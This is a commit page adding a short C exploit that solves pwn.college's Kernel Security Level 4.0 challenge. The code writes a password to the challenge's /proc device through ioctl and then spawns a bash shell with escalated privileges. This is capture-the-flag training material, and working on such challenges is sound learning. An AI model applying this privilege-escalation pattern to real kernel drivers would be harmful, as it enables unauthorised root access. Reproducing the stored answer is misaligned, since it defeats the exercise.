Added Level 3.0 ~ 8.1 of KernelSecurity in PwnCollege
This commit is contained in:
10
PwnCollege/KernelSecurity/Level4.0/exploit.c
Normal file
10
PwnCollege/KernelSecurity/Level4.0/exploit.c
Normal file
@@ -0,0 +1,10 @@
|
||||
#include <stdlib.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main() {
|
||||
int fd = open("/proc/pwncollege", O_WRONLY);
|
||||
ioctl(fd, 1337, "owibidryoofhkxuo");
|
||||
execve("/bin/bash", NULL, NULL);
|
||||
}
|
||||
Reference in New Issue
Block a user